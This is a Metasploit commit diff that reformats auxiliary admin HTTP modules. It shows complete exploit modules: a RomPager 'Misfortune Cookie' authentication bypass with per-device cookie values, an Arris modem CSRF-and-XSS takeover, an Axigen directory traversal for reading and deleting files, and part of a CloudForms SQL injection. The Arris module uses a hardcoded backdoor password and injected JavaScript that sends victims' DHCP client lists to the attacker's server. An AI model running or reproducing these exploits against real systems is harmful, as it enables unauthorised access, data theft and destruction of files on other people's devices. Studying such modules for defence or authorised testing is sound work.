Land #17618, Run rubocop on auxiliary admin http modules

This commit is contained in:
cgranleese-r7 2023-02-08 17:40:26 +00:00 committed by GitHub
commit a878403a3e
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
68 changed files with 3239 additions and 3174 deletions

View File

@ -8,122 +8,149 @@ class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(
info,
'Name' => "Allegro Software RomPager 'Misfortune Cookie' (CVE-2014-9222) Authentication Bypass",
'Description' => %q(
This module exploits HTTP servers that appear to be vulnerable to the
'Misfortune Cookie' vulnerability which affects Allegro Software
Rompager versions before 4.34 and can allow attackers to authenticate
to the HTTP service as an administrator without providing valid
credentials.
),
'Author' => [
'Jon Hart <jon_hart[at]rapid7.com>', # metasploit scanner module
'Jan Trencansky <jan.trencansky[at]gmail.com>', # metasploit auxiliary admin module
'Lior Oppenheim' # CVE-2014-9222
],
'References' => [
['CVE', '2014-9222'],
['URL', 'https://web.archive.org/web/20191006135858/http://mis.fortunecook.ie/'],
['URL', 'https://web.archive.org/web/20190207102911/http://mis.fortunecook.ie/misfortune-cookie-suspected-vulnerable.pdf'], # list of likely vulnerable devices
['URL', 'https://web.archive.org/web/20190623150837/http://mis.fortunecook.ie/too-many-cooks-exploiting-tr069_tal-oppenheim_31c3.pdf'] # 31C3 presentation with POC
],
'DisclosureDate' => '2014-12-17',
'License' => MSF_LICENSE
))
super(
update_info(
info,
'Name' => "Allegro Software RomPager 'Misfortune Cookie' (CVE-2014-9222) Authentication Bypass",
'Description' => %q{
This module exploits HTTP servers that appear to be vulnerable to the
'Misfortune Cookie' vulnerability which affects Allegro Software
Rompager versions before 4.34 and can allow attackers to authenticate
to the HTTP service as an administrator without providing valid
credentials.
},
'Author' => [
'Jon Hart <jon_hart[at]rapid7.com>', # metasploit scanner module
'Jan Trencansky <jan.trencansky[at]gmail.com>', # metasploit auxiliary admin module
'Lior Oppenheim' # CVE-2014-9222
],
'References' => [
['CVE', '2014-9222'],
['URL', 'https://web.archive.org/web/20191006135858/http://mis.fortunecook.ie/'],
['URL', 'https://web.archive.org/web/20190207102911/http://mis.fortunecook.ie/misfortune-cookie-suspected-vulnerable.pdf'], # list of likely vulnerable devices
['URL', 'https://web.archive.org/web/20190623150837/http://mis.fortunecook.ie/too-many-cooks-exploiting-tr069_tal-oppenheim_31c3.pdf'] # 31C3 presentation with POC
],
'DisclosureDate' => '2014-12-17',
'License' => MSF_LICENSE
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'URI to test', '/']),
], Exploit::Remote::HttpClient
[
OptString.new('TARGETURI', [true, 'URI to test', '/']),
], Exploit::Remote::HttpClient
)
register_advanced_options(
[
Msf::OptBool.new("ForceAttempt", [ false, "Force exploit attempt for all known cookies", false ]),
], Exploit::Remote::HttpClient
[
Msf::OptBool.new('ForceAttempt', [ false, 'Force exploit attempt for all known cookies', false ]),
], Exploit::Remote::HttpClient
)
end
def headers
{
'Referer' => full_uri
'Referer' => full_uri
}
end
# List of known values and models
def devices_list
known_devices = {
:'AZ-D140W'=>
{:name=>'Azmoon', :model=>'AZ-D140W', :values=>[
[107367693, 13]
]},
:'BiPAC 5102S'=>
{:name=>'Billion', :model=>'BiPAC 5102S', :values=>[
:'AZ-D140W' =>
{
name: 'Azmoon', model: 'AZ-D140W', values: [
[107367693, 13]
]
},
:'BiPAC 5102S' =>
{
name: 'Billion', model: 'BiPAC 5102S', values: [
[107369694, 13]
]},
:'BiPAC 5200'=>
{:name=>'Billion', :model=>'BiPAC 5200', :values=>[
]
},
:'BiPAC 5200' =>
{
name: 'Billion', model: 'BiPAC 5200', values: [
[107369545, 9],
[107371218, 21]
]},
:'BiPAC 5200A'=>
{:name=>'Billion', :model=>'BiPAC 5200A', :values=>[
]
},
:'BiPAC 5200A' =>
{
name: 'Billion', model: 'BiPAC 5200A', values: [
[107366366, 25],
[107371453, 9]
]},
:'BiPAC 5200GR4'=>
{:name=>'Billion', :model=>'BiPAC 5200GR4', :values=>[
]
},
:'BiPAC 5200GR4' =>
{
name: 'Billion', model: 'BiPAC 5200GR4', values: [
[107367690, 21]
]},
:'BiPAC 5200SRD'=>
{:name=>'Billion', :model=>'BiPAC 5200SRD', :values=>[
]
},
:'BiPAC 5200SRD' =>
{
name: 'Billion', model: 'BiPAC 5200SRD', values: [
[107368270, 1],
[107371378, 3],
[107371218, 13]
]},
:'DSL-2520U'=>
{:name=>'D-Link', :model=>'DSL-2520U', :values=>[
]
},
:'DSL-2520U' =>
{
name: 'D-Link', model: 'DSL-2520U', values: [
[107368902, 25]
]},
:'DSL-2600U'=>
{:name=>'D-Link', :model=>'DSL-2600U', :values=>[
]
},
:'DSL-2600U' =>
{
name: 'D-Link', model: 'DSL-2600U', values: [
[107366496, 13],
[107360133, 20]
]},
:'TD-8616'=>
{:name=> 'TP-Link', :model=>'TD-8616', :values=>[
]
},
:'TD-8616' =>
{
name: 'TP-Link', model: 'TD-8616', values: [
[107371483, 21],
[107369790, 17],
[107371161, 1],
[107371426, 17],
[107370211, 5],
]},
:'TD-8817'=>
{:name=> 'TP-Link', :model=>'TD-8817', :values=>[
]
},
:'TD-8817' =>
{
name: 'TP-Link', model: 'TD-8817', values: [
[107369790, 17],
[107369788, 1],
[107369522, 25],
[107369316, 21],
[107369321, 9],
[107351277, 20]
]},
:'TD-8820'=>
{:name=>'TP-Link', :model=>'TD-8820', :values=>[
]
},
:'TD-8820' =>
{
name: 'TP-Link', model: 'TD-8820', values: [
[107369768, 17]
]},
:'TD-8840T'=>
{:name=>'TP-Link', :model=>'TD-8840T', :values=>[
]
},
:'TD-8840T' =>
{
name: 'TP-Link', model: 'TD-8840T', values: [
[107369845, 5],
[107369790, 17],
[107369570, 1],
[107369766, 1],
[107369764, 5],
[107369688, 17]
]},
:'TD-W8101G'=>
{:name=>'TP-Link', :model=>'TD-W8101G', :values=>[
]
},
:'TD-W8101G' =>
{
name: 'TP-Link', model: 'TD-W8101G', values: [
[107367772, 37],
[107367808, 21],
[107367751, 21],
@ -131,13 +158,17 @@ class MetasploitModule < Msf::Auxiliary
[107367765, 25],
[107367052, 25],
[107365835, 1]
]},
:'TD-W8151N'=>
{:name=>'TP-Link', :model=>'TD-W8151N', :values=>[
]
},
:'TD-W8151N' =>
{
name: 'TP-Link', model: 'TD-W8151N', values: [
[107353867, 24]
]},
:'TD-W8901G'=>
{:name=> 'TP-Link', :model=>'TD-W8901G', :values=>[
]
},
:'TD-W8901G' =>
{
name: 'TP-Link', model: 'TD-W8901G', values: [
[107367787, 21],
[107368013, 5],
[107367854, 9],
@ -147,33 +178,43 @@ class MetasploitModule < Msf::Auxiliary
[107367682, 21],
[107365835, 1],
[107367052, 25]
]},
:'TD-W8901GB'=>
{:name=>'TP-Link', :model=>'TD-W8901GB', :values=>[
]
},
:'TD-W8901GB' =>
{
name: 'TP-Link', model: 'TD-W8901GB', values: [
[107367756, 13],
[107369393, 21]
]},
:'TD-W8901N'=>
{:name=>'TP-Link', :model=>'TD-W8901N', :values=>[
]
},
:'TD-W8901N' =>
{
name: 'TP-Link', model: 'TD-W8901N', values: [
[107353880, 0]
]},
:'TD-W8951ND'=>
{:name=>'TP-Link', :model=>'TD-W8951ND', :values=>[
]
},
:'TD-W8951ND' =>
{
name: 'TP-Link', model: 'TD-W8951ND', values: [
[107369839, 25],
[107369876, 13],
[107366743, 21],
[107364759, 25],
[107364759, 13],
[107364760, 21]
]},
:'TD-W8961NB'=>
{:name=>'TP-Link', :model=>'TD-W8961NB', :values=>[
]
},
:'TD-W8961NB' =>
{
name: 'TP-Link', model: 'TD-W8961NB', values: [
[107369844, 17],
[107367629, 21],
[107366421, 13]
]},
:'TD-W8961ND'=>
{:name=>'TP-Link', :model=>'TD-W8961ND', :values=>[
]
},
:'TD-W8961ND' =>
{
name: 'TP-Link', model: 'TD-W8961ND', values: [
[107369839, 25],
[107369876, 13],
[107364732, 25],
@ -181,18 +222,22 @@ class MetasploitModule < Msf::Auxiliary
[107364762, 29],
[107353880, 0],
[107353414, 36]
]},
:'P-660R-T3 v3'=> #This value works on devices with model P-660R-T3 v3 not P-660R-T3 v3s
{:name=>'ZyXEL', :model=>'P-660R-T3', :values=>[
[107369567, 21]
]},
:'P-660RU-T3 v2'=> #Couldn't verify this
{:name=>'ZyXEL', :model=>'P-660R-T3', :values=>[
[107369567, 21]
]},
ALL=> # Used when `ForceAttempt` === true
{:name=>'Unknown', :model=>'Forced', :values=>[]
]
},
:'P-660R-T3 v3' => # This value works on devices with model P-660R-T3 v3 not P-660R-T3 v3s
{
name: 'ZyXEL', model: 'P-660R-T3', values: [
[107369567, 21]
]
},
:'P-660RU-T3 v2' => # Couldn't verify this
{
name: 'ZyXEL', model: 'P-660R-T3', values: [
[107369567, 21]
]
},
ALL => # Used when `ForceAttempt` === true
{ name: 'Unknown', model: 'Forced', values: [] }
}
# collect all known cookies for a brute force option
all_cookies = []
@ -203,17 +248,14 @@ class MetasploitModule < Msf::Auxiliary
known_devices
end
def check_response_fingerprint(res, fallback_status)
fp = http_fingerprint(response: res)
vprint_status("Fingerprint: #{fp}")
# ensure the fingerprint at least appears vulnerable
if /RomPager\/(?<version>[\d\.]+)/ =~ fp
if %r{RomPager/(?<version>[\d.]+)} =~ fp
vprint_status("#{peer} is RomPager #{version}")
if Rex::Version.new(version) < Rex::Version.new('4.34')
if /realm="(?<model>.+)"/ =~ fp
return model
end
if Rex::Version.new(version) < Rex::Version.new('4.34') && /realm="(?<model>.+)"/ =~ fp
return model
end
end
fallback_status
@ -221,29 +263,29 @@ class MetasploitModule < Msf::Auxiliary
def run
res = send_request_raw(
'uri' => normalize_uri(target_uri.path.to_s),
'method' => 'GET',
'uri' => normalize_uri(target_uri.path.to_s),
'method' => 'GET'
)
model = check_response_fingerprint(res, Exploit::CheckCode::Detected)
if model != Exploit::CheckCode::Detected
devices = devices_list[model.to_sym]
devices = devices_list[:ALL] if devices.nil? && datastore['ForceAttempt']
if devices != nil
if !devices.nil?
print_good("Detected device:#{devices[:name]} #{devices[:model]}")
devices[:values].each { |value|
cookie = "C#{value[0]}=#{'B'*value[1]}\x00"
devices[:values].each do |value|
cookie = "C#{value[0]}=#{'B' * value[1]}\x00"
res = send_request_raw(
'uri' => normalize_uri(target_uri.path.to_s),
'method' => 'GET',
'headers' => headers.merge('Cookie' => cookie)
'uri' => normalize_uri(target_uri.path.to_s),
'method' => 'GET',
'headers' => headers.merge('Cookie' => cookie)
)
if res != nil and res.code <= 302
if !res.nil? && (res.code <= 302)
print_good('Good response, please check host, authentication should be disabled')
break
else
print_error('Bad response')
end
}
end
else
print_error("No matching values for fingerprint #{model}")
end

View File

@ -8,80 +8,81 @@ class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'Arris / Motorola Surfboard SBG6580 Web Interface Takeover',
'Description' => %q{
super(
update_info(
info,
'Name' => 'Arris / Motorola Surfboard SBG6580 Web Interface Takeover',
'Description' => %q{
The web interface for the Arris / Motorola Surfboard SBG6580 has
several vulnerabilities that, when combined, allow an arbitrary website to take
control of the modem, even if the user is not currently logged in. The attacker
must successfully know, or guess, the target's internal gateway IP address.
This is usually a default value of 192.168.0.1.
The web interface for the Arris / Motorola Surfboard SBG6580 has
several vulnerabilities that, when combined, allow an arbitrary website to take
control of the modem, even if the user is not currently logged in. The attacker
must successfully know, or guess, the target's internal gateway IP address.
This is usually a default value of 192.168.0.1.
First, a hardcoded backdoor account was discovered in the source code
of one device with the credentials "technician/yZgO8Bvj". Due to lack of CSRF
in the device's login form, these credentials - along with the default
"admin/motorola" - can be sent to the device by an arbitrary website, thus
inadvertently logging the user into the router.
First, a hardcoded backdoor account was discovered in the source code
of one device with the credentials "technician/yZgO8Bvj". Due to lack of CSRF
in the device's login form, these credentials - along with the default
"admin/motorola" - can be sent to the device by an arbitrary website, thus
inadvertently logging the user into the router.
Once successfully logged in, a persistent XSS vulnerability is
exploited in the firewall configuration page. This allows injection of
Javascript that can perform any available action in the router interface.
Once successfully logged in, a persistent XSS vulnerability is
exploited in the firewall configuration page. This allows injection of
Javascript that can perform any available action in the router interface.
The following firmware versions have been tested as vulnerable:
The following firmware versions have been tested as vulnerable:
SBG6580-6.5.2.0-GA-06-077-NOSH, and
SBG6580-8.6.1.0-GA-04-098-NOSH
},
'Author' => [ 'joev' ],
'DisclosureDate' => '2015-04-08',
'License' => MSF_LICENSE,
'Actions' => [[ 'WebServer', 'Description' => 'Serve exploit via web server' ]],
'PassiveActions' => [ 'WebServer' ],
'DefaultAction' => 'WebServer',
'References' => [
[ 'CVE', '2015-0964' ], # XSS vulnerability
[ 'CVE', '2015-0965' ], # CSRF vulnerability
[ 'CVE', '2015-0966' ], # "techician/yZgO8Bvj" web interface backdoor
[ 'URL', 'https://www.rapid7.com/blog/post/2015/06/05/r7-2015-01-csrf-backdoor-and-persistent-xss-on-arris-motorola-cable-modems/' ],
]
))
SBG6580-6.5.2.0-GA-06-077-NOSH, and
SBG6580-8.6.1.0-GA-04-098-NOSH
},
'Author' => [ 'joev' ],
'DisclosureDate' => '2015-04-08',
'License' => MSF_LICENSE,
'Actions' => [[ 'WebServer', { 'Description' => 'Serve exploit via web server' } ]],
'PassiveActions' => [ 'WebServer' ],
'DefaultAction' => 'WebServer',
'References' => [
[ 'CVE', '2015-0964' ], # XSS vulnerability
[ 'CVE', '2015-0965' ], # CSRF vulnerability
[ 'CVE', '2015-0966' ], # "techician/yZgO8Bvj" web interface backdoor
[ 'URL', 'https://www.rapid7.com/blog/post/2015/06/05/r7-2015-01-csrf-backdoor-and-persistent-xss-on-arris-motorola-cable-modems/' ],
]
)
)
register_options([
OptString.new('DEVICE_IP', [
false,
"Internal IP address of the vulnerable device.",
'Internal IP address of the vulnerable device.',
'192.168.0.1'
]),
OptString.new('LOGINS', [
false,
"Comma-separated list of user/pass combinations to attempt.",
'Comma-separated list of user/pass combinations to attempt.',
'technician/yZgO8Bvj,admin/motorola'
]),
OptBool.new('DUMP_DHCP_LIST', [
true,
"Dump the MAC, IP, and hostnames of all registered DHCP clients.",
'Dump the MAC, IP, and hostnames of all registered DHCP clients.',
true
]),
OptInt.new('SET_DMZ_HOST', [
false,
"The final octet of the IP address to set in the DMZ (1-255).",
'The final octet of the IP address to set in the DMZ (1-255).',
nil
]),
OptString.new('BLOCK_INTERNET_ACCESS', [
false,
"Comma-separated list of IP addresses to block internet access for.",
'Comma-separated list of IP addresses to block internet access for.',
''
]),
OptString.new('CUSTOM_JS', [
false,
"A string of javascript to execute in the context of the device web interface.",
'A string of javascript to execute in the context of the device web interface.',
''
]),
OptString.new('REMOTE_JS', [
false,
"A URL to inject into a script tag in the context of the device web interface.",
'A URL to inject into a script tag in the context of the device web interface.',
''
])
])
@ -91,7 +92,7 @@ class MetasploitModule < Msf::Auxiliary
if datastore['SET_DMZ_HOST']
dmz_host = datastore['SET_DMZ_HOST'].to_i
if dmz_host < 1 || dmz_host > 255
raise ArgumentError, "DMZ host must be an integer between 1 and 255."
raise ArgumentError, 'DMZ host must be an integer between 1 and 255.'
end
end
@ -101,12 +102,12 @@ class MetasploitModule < Msf::Auxiliary
def on_request_uri(cli, request)
if request.method =~ /post/i
file = store_loot(
"dhcp.clients", "text/json", cli.peerhost,
request.body, "arris_surfboard_xss", "DHCP client list gathered from modem"
'dhcp.clients', 'text/json', cli.peerhost,
request.body, 'arris_surfboard_xss', 'DHCP client list gathered from modem'
)
print_good "Dumped DHCP client list from #{cli.peerhost}"
print_good file
elsif request.uri =~ /\/dmz$/i
elsif request.uri =~ %r{/dmz$}i
print_good "DMZ host successfully reset to #{datastore['SET_DMZ_HOST']}."
send_response_html(cli, '')
else
@ -116,7 +117,8 @@ class MetasploitModule < Msf::Auxiliary
def set_dmz_host_js
return '' unless datastore['SET_DMZ_HOST'].present?
%Q|
%|
var x = new XMLHttpRequest;
x.open('POST', '/goform/RgDmzHost.pl');
x.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
@ -127,7 +129,8 @@ class MetasploitModule < Msf::Auxiliary
def dump_dhcp_list_js
return '' unless datastore['DUMP_DHCP_LIST']
%Q|
%|
var f = document.createElement('iframe');
f.src = '/RgDhcp.asp';
f.onload = function() {
@ -165,144 +168,144 @@ class MetasploitModule < Msf::Auxiliary
end
def exploit_html
<<-EOS
<!doctype html>
<html>
<body>
<<~EOS
<!doctype html>
<html>
<body>
<script>
<script>
window.onmessage = function(e) {
var data = JSON.parse(e.data);
if (data.type == 'dhcp') {
var rows = JSON.stringify(data.rows);
var xhr = new XMLHttpRequest();
xhr.open('POST', '#{get_uri}/collect');
xhr.send(rows);
} else if (data.type == 'dmz') {
var xhr = new XMLHttpRequest();
xhr.open('GET', '#{get_uri}/dmz');
xhr.send();
}
}
var js = (#{JSON.generate({ js: exploit_js })}).js;
var HIDDEN_STYLE =
'position:absolute;left:-9999px;top:-9999px;';
function exploit(hosts, logins) {
for (var idx in hosts) {
buildImage(hosts[idx]);
}
function buildImage(host) {
var img = new Image();
img.src = host + '/images/px1_Ux.png';
img.setAttribute('style', HIDDEN_STYLE);
img.onload = function() {
if (img.width === 1 && img.height === 1) {
deviceFound(host, img);
}
img.parentNode.removeChild(img);
};
img.onerror = function() {
img.src = host + '/logo_new.gif';
img.onload = function() {
if (img.width === 176 && img.height === 125) {
deviceFound(host, img);
window.onmessage = function(e) {
var data = JSON.parse(e.data);
if (data.type == 'dhcp') {
var rows = JSON.stringify(data.rows);
var xhr = new XMLHttpRequest();
xhr.open('POST', '#{get_uri}/collect');
xhr.send(rows);
} else if (data.type == 'dmz') {
var xhr = new XMLHttpRequest();
xhr.open('GET', '#{get_uri}/dmz');
xhr.send();
}
}
img.onerror = function() {
img.parentNode.removeChild(img);
};
};
document.body.appendChild(img);
}
function deviceFound(host, img) {
// but also lets attempt to log the user in with every login
var count = 0;
for (var idx in logins) {
attemptLogin(host, logins[idx], function() {
if (++count >= logins.length) {
attemptExploit(host);
var js = (#{JSON.generate({ js: exploit_js })}).js;
var HIDDEN_STYLE =
'position:absolute;left:-9999px;top:-9999px;';
function exploit(hosts, logins) {
for (var idx in hosts) {
buildImage(hosts[idx]);
}
})
}
}
function attemptExploit(host) {
var form = document.createElement('form');
form.setAttribute('style', HIDDEN_STYLE);
form.setAttribute('method', 'POST');
form.setAttribute('action', host+'/goform/RgFirewallEL')
document.body.appendChild(form);
function buildImage(host) {
var img = new Image();
img.src = host + '/images/px1_Ux.png';
img.setAttribute('style', HIDDEN_STYLE);
img.onload = function() {
if (img.width === 1 && img.height === 1) {
deviceFound(host, img);
}
img.parentNode.removeChild(img);
};
img.onerror = function() {
img.src = host + '/logo_new.gif';
img.onload = function() {
if (img.width === 176 && img.height === 125) {
deviceFound(host, img);
}
}
img.onerror = function() {
img.parentNode.removeChild(img);
};
};
document.body.appendChild(img);
}
var inputs = [];
var inputNames = [
'EmailAddress', 'SmtpServerName', 'SmtpUsername',
'SmtpPassword', 'LogAction'
];
function deviceFound(host, img) {
// but also lets attempt to log the user in with every login
var count = 0;
for (var idx in logins) {
attemptLogin(host, logins[idx], function() {
if (++count >= logins.length) {
attemptExploit(host);
}
})
}
}
var input;
for (var idx in inputNames) {
input = document.createElement('input');
input.setAttribute('type', 'hidden');
input.setAttribute('name', inputNames[idx]);
form.appendChild(input);
inputs.push(input)
}
inputs[0].setAttribute('value', '<script>@a.com<script>eval(window.name);<\\/script>');
inputs[inputs.length-1].setAttribute('value', '0');
function attemptExploit(host) {
var form = document.createElement('form');
form.setAttribute('style', HIDDEN_STYLE);
form.setAttribute('method', 'POST');
form.setAttribute('action', host+'/goform/RgFirewallEL')
document.body.appendChild(form);
var iframe = document.createElement('iframe');
iframe.setAttribute('style', HIDDEN_STYLE);
var inputs = [];
var inputNames = [
'EmailAddress', 'SmtpServerName', 'SmtpUsername',
'SmtpPassword', 'LogAction'
];
window.id = window.id || 1;
var name = '/*abc'+(window.id++)+'*/ '+js;
iframe.setAttribute('name', name);
document.body.appendChild(iframe);
var input;
for (var idx in inputNames) {
input = document.createElement('input');
input.setAttribute('type', 'hidden');
input.setAttribute('name', inputNames[idx]);
form.appendChild(input);
inputs.push(input)
}
inputs[0].setAttribute('value', '<script>@a.com<script>eval(window.name);<\\/script>');
inputs[inputs.length-1].setAttribute('value', '0');
form.setAttribute('target', name);
form.submit();
var iframe = document.createElement('iframe');
iframe.setAttribute('style', HIDDEN_STYLE);
setTimeout(function() {
iframe.removeAttribute('sandbox');
iframe.src = host+'/RgFirewallEL.asp';
}, 1000);
}
window.id = window.id || 1;
var name = '/*abc'+(window.id++)+'*/ '+js;
iframe.setAttribute('name', name);
document.body.appendChild(iframe);
function attemptLogin(host, login, cb) {
try {
var xhr = new XMLHttpRequest();
xhr.open('POST', host+'/goform/login');
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('loginUsername='+encodeURIComponent(login[0])+
'&loginPassword='+encodeURIComponent(login[1]));
xhr.onerror = function() {
cb && cb();
cb = null;
form.setAttribute('target', name);
form.submit();
setTimeout(function() {
iframe.removeAttribute('sandbox');
iframe.src = host+'/RgFirewallEL.asp';
}, 1000);
}
function attemptLogin(host, login, cb) {
try {
var xhr = new XMLHttpRequest();
xhr.open('POST', host+'/goform/login');
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('loginUsername='+encodeURIComponent(login[0])+
'&loginPassword='+encodeURIComponent(login[1]));
xhr.onerror = function() {
cb && cb();
cb = null;
}
} catch(e) {};
}
}
} catch(e) {};
}
}
var logins = (#{JSON.generate({ logins: datastore['LOGINS'] })}).logins;
var combos = logins.split(',');
var splits = [], s = '';
for (var i in combos) {
s = combos[i].split('/');
splits.push([s[0], s[1]]);
}
var logins = (#{JSON.generate({ logins: datastore['LOGINS'] })}).logins;
var combos = logins.split(',');
var splits = [], s = '';
for (var i in combos) {
s = combos[i].split('/');
splits.push([s[0], s[1]]);
}
exploit(['http://#{datastore['DEVICE_IP']}'], splits);
exploit(['http://#{datastore['DEVICE_IP']}'], splits);
</script>
</script>
</body>
</html>
EOS
</body>
</html>
EOS
end
def custom_js

View File

@ -7,95 +7,97 @@ class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Axigen Arbitrary File Read and Delete',
'Description' => %q{
super(
update_info(
info,
'Name' => 'Axigen Arbitrary File Read and Delete',
'Description' => %q{
This module exploits a directory traversal vulnerability in the WebAdmin
interface of Axigen, which allows an authenticated user to read and delete
arbitrary files with SYSTEM privileges. The vulnerability is known to work on
Windows platforms. This module has been tested successfully on Axigen 8.10 over
Windows 2003 SP2.
},
'Author' =>
[
interface of Axigen, which allows an authenticated user to read and delete
arbitrary files with SYSTEM privileges. The vulnerability is known to work on
Windows platforms. This module has been tested successfully on Axigen 8.10 over
Windows 2003 SP2.
},
'Author' => [
'Zhao Liang', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
'License' => MSF_LICENSE,
'References' => [
[ 'US-CERT-VU', '586556' ],
[ 'CVE', '2012-4940' ],
[ 'OSVDB', '86802' ]
],
'Actions' =>
[
['Read', { 'Description' => 'Read remote file' }],
'Actions' => [
['Read', { 'Description' => 'Read remote file' }],
['Delete', { 'Description' => 'Delete remote file' }]
],
'DefaultAction' => 'Read',
'DisclosureDate' => '2012-10-31'))
'DefaultAction' => 'Read',
'DisclosureDate' => '2012-10-31'
)
)
register_options(
[
Opt::RPORT(9000),
OptInt.new('DEPTH', [ true, 'Traversal depth if absolute is set to false', 4 ]),
OptString.new('TARGETURI',[ true, 'Path to Axigen WebAdmin', '/' ]),
OptInt.new('DEPTH', [ true, 'Traversal depth if absolute is set to false', 4 ]),
OptString.new('TARGETURI', [ true, 'Path to Axigen WebAdmin', '/' ]),
OptString.new('USERNAME', [ true, 'The user to authenticate as', 'admin' ]),
OptString.new('PASSWORD', [ true, 'The password to authenticate with' ]),
OptString.new('PATH', [ true, 'The file to read or delete', "\\windows\\win.ini" ])
])
OptString.new('PATH', [ true, 'The file to read or delete', '\\windows\\win.ini' ])
]
)
end
def run
print_status("Trying to login")
print_status('Trying to login')
if login
print_good("Login Successful")
print_good('Login Successful')
else
print_error("Login failed, review USERNAME and PASSWORD options")
print_error('Login failed, review USERNAME and PASSWORD options')
return
end
@traversal = "../" * 10
@traversal = '../' * 10
file = datastore['PATH']
@platform = get_platform
if @platform == 'windows'
@traversal.gsub!(/\//, "\\")
file.gsub!(/\//, "\\")
@traversal.gsub!(%r{/}, '\\')
file.gsub!(%r{/}, '\\')
else # unix
print_error("*nix platform detected, vulnerability is only known to work on Windows")
print_error('*nix platform detected, vulnerability is only known to work on Windows')
return
end
case action.name
when 'Read'
read_file(datastore['PATH'])
when 'Delete'
delete_file(datastore['PATH'])
when 'Read'
read_file(datastore['PATH'])
when 'Delete'
delete_file(datastore['PATH'])
end
end
def read_file(file)
print_status("Retrieving file contents...")
print_status('Retrieving file contents...')
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, "sources", "logging", "page_log_file_content.hsp"),
'method' => 'GET',
'cookie' => "_hadmin=#{@session}",
'vars_get' => {
'_h' => @token,
'fileName' => "#{@traversal}#{file}"
{
'uri' => normalize_uri(target_uri.path, 'sources', 'logging', 'page_log_file_content.hsp'),
'method' => 'GET',
'cookie' => "_hadmin=#{@session}",
'vars_get' => {
'_h' => @token,
'fileName' => "#{@traversal}#{file}"
}
}
})
)
if res and res.code == 200 and res.headers['Content-Type'] and res.body.length > 0
store_path = store_loot("axigen.webadmin.data", "application/octet-stream", rhost, res.body, file)
if res && (res.code == 200) && res.headers['Content-Type'] && !res.body.empty?
store_path = store_loot('axigen.webadmin.data', 'application/octet-stream', rhost, res.body, file)
print_good("File successfully retrieved and saved on #{store_path}")
else
print_error("Failed to retrieve file")
print_error('Failed to retrieve file')
end
end
@ -103,19 +105,20 @@ class MetasploitModule < Msf::Auxiliary
print_status("Deleting file #{file}")
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path),
'method' => 'GET',
'cookie' => "_hadmin=#{@session}",
'vars_get' => {
'_h' => @token,
'page' => 'vlf',
'action' => 'delete',
'fileName' => "#{@traversal}#{file}"
{
'uri' => normalize_uri(target_uri.path),
'method' => 'GET',
'cookie' => "_hadmin=#{@session}",
'vars_get' => {
'_h' => @token,
'page' => 'vlf',
'action' => 'delete',
'fileName' => "#{@traversal}#{file}"
}
}
})
)
if res and res.code == 200 and res.body =~ /View Log Files/
if res && (res.code == 200) && res.body =~ (/View Log Files/)
print_good("File #{file} deleted")
else
print_error("Error deleting file #{file}")
@ -123,49 +126,51 @@ class MetasploitModule < Msf::Auxiliary
end
def get_platform
print_status("Retrieving platform")
print_status('Retrieving platform')
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path),
'method' => 'GET',
'cookie' => "_hadmin=#{@session}",
'vars_get' => {
'uri' => normalize_uri(target_uri.path),
'method' => 'GET',
'cookie' => "_hadmin=#{@session}",
'vars_get' => {
'_h' => @token
}
})
}
)
if res and res.code == 200
if res && (res.code == 200)
if res.body =~ /Windows/
print_good("Windows platform found")
print_good('Windows platform found')
return 'windows'
elsif res.body =~ /Linux/
print_good("Linux platform found")
print_good('Linux platform found')
return 'unix'
end
end
print_warning("Platform not found, assuming UNIX flavor")
print_warning('Platform not found, assuming UNIX flavor')
return 'unix'
end
def login
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path),
'method' => 'POST',
'vars_post' => {
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD'],
'submit' => 'Login',
'action' => 'login'
{
'uri' => normalize_uri(target_uri.path),
'method' => 'POST',
'vars_post' => {
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD'],
'submit' => 'Login',
'action' => 'login'
}
}
})
)
if res and res.code == 303 and res.headers['Location'] =~ /_h=([a-f0-9]*)/
@token = $1
if res && (res.code == 303) && res.headers['Location'] =~ (/_h=([a-f0-9]*)/)
@token = ::Regexp.last_match(1)
if res.get_cookies =~ /_hadmin=([a-f0-9]*)/
@session = $1
@session = ::Regexp.last_match(1)
return true
end
end

View File

@ -12,25 +12,23 @@ class MetasploitModule < Msf::Auxiliary
def initialize
super(
'Name' => 'Red Hat CloudForms Management Engine 5.1 miq_policy/explorer SQL Injection',
'Description' => %q{
'Name' => 'Red Hat CloudForms Management Engine 5.1 miq_policy/explorer SQL Injection',
'Description' => %q{
This module exploits a SQL injection vulnerability in the "explorer"
action of "miq_policy" controller of the Red Hat CloudForms Management
Engine 5.1 (ManageIQ Enterprise Virtualization Manager 5.0 and earlier) by
changing the password of the target account to the specified password.
},
'Author' => 'Ramon de C Valle',
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2013-2050'],
['CWE', '89'],
['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=959062']
],
'DefaultOptions' =>
{
'SSL' => true
},
'Author' => 'Ramon de C Valle',
'License' => MSF_LICENSE,
'References' => [
['CVE', '2013-2050'],
['CWE', '89'],
['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=959062']
],
'DefaultOptions' => {
'SSL' => true
},
'DisclosureDate' => 'Nov 12 2013'
)
@ -70,10 +68,10 @@ class MetasploitModule < Msf::Auxiliary
def password_reset?
print_status("Trying to log into #{target_url('dashboard')} using the target account...")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'dashboard', 'authenticate'),
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'dashboard', 'authenticate'),
'vars_post' => {
'user_name' => datastore['TARGETUSERNAME'],
